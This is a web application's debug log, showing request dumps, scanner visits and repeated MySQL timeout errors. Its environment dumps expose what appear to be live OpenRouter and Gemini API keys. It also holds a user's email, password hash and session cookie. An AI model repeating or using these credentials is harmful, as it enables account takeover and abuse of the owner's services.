    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '167.94.138.188',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-18T00:42:48.964Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '167.94.138.188',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '167.94.138.188',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-17 05:16:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-17 05:16:23' as DATETIME)"
}
2026-03-17T06:11:03.876Z server-connect:router Serving templateView /
2026-03-17T06:11:03.878Z server-connect:app Executing action step identify
2026-03-17T06:11:03.878Z server-connect:app options: { provider: 'security' }
2026-03-17T06:11:03.878Z server-connect:auth No login cookie found
2026-03-17T06:11:03.878Z server-connect:output identity: false
2026-03-17T06:11:03.878Z server-connect:app Executing action step restrict
2026-03-17T06:11:03.878Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-17T06:11:03.879Z server-connect:output restrict: undefined
2026-03-17T06:11:04.273Z server-connect:router Serving templateView /login
2026-03-17T06:11:04.274Z server-connect:app Executing action step identify
2026-03-17T06:11:04.274Z server-connect:app options: { provider: 'security' }
2026-03-17T06:11:04.274Z server-connect:auth No login cookie found
2026-03-17T06:11:04.274Z server-connect:output identity: false
2026-03-17T06:11:04.274Z server-connect:router Render template layouts/authentication
2026-03-17T06:11:04.274Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.25',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-18T06:11:04.273Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.25',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.25',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-17 07:39:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-17 07:39:24' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-17 18:46:25' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-17 18:46:25' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-17 19:38:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-17 19:38:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-17 22:09:25' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-17 22:09:25' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-17 23:01:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-17 23:01:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-17 23:45:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-17 23:45:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-18 00:22:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-18 00:22:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-18 02:13:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-18 02:13:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-18 02:17:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-18 02:17:26' as DATETIME)"
}
2026-03-18T03:46:01.300Z server-connect:router Serving templateView /
2026-03-18T03:46:01.301Z server-connect:app Executing action step identify
2026-03-18T03:46:01.302Z server-connect:app options: { provider: 'security' }
2026-03-18T03:46:01.349Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-03-18T03:46:01.351Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-03-18T03:46:01.395Z server-connect:output identity: 1
2026-03-18T03:46:01.395Z server-connect:app Executing action step restrict
2026-03-18T03:46:01.395Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-18T03:46:01.395Z server-connect:output restrict: undefined
2026-03-18T03:46:01.395Z server-connect:app Executing action step restrict
2026-03-18T03:46:01.395Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-18T03:46:01.396Z server-connect:output restrict: undefined
2026-03-18T03:46:01.396Z server-connect:router Render template layouts/main
2026-03-18T03:46:01.396Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE',
    'x-forwarded-for': '49.43.181.200',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-19T03:46:01.299Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.200',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE',
    'HTTP_X_FORWARDED-FOR': '49.43.181.200',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-18 05:23:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-18 05:23:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-18 09:53:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
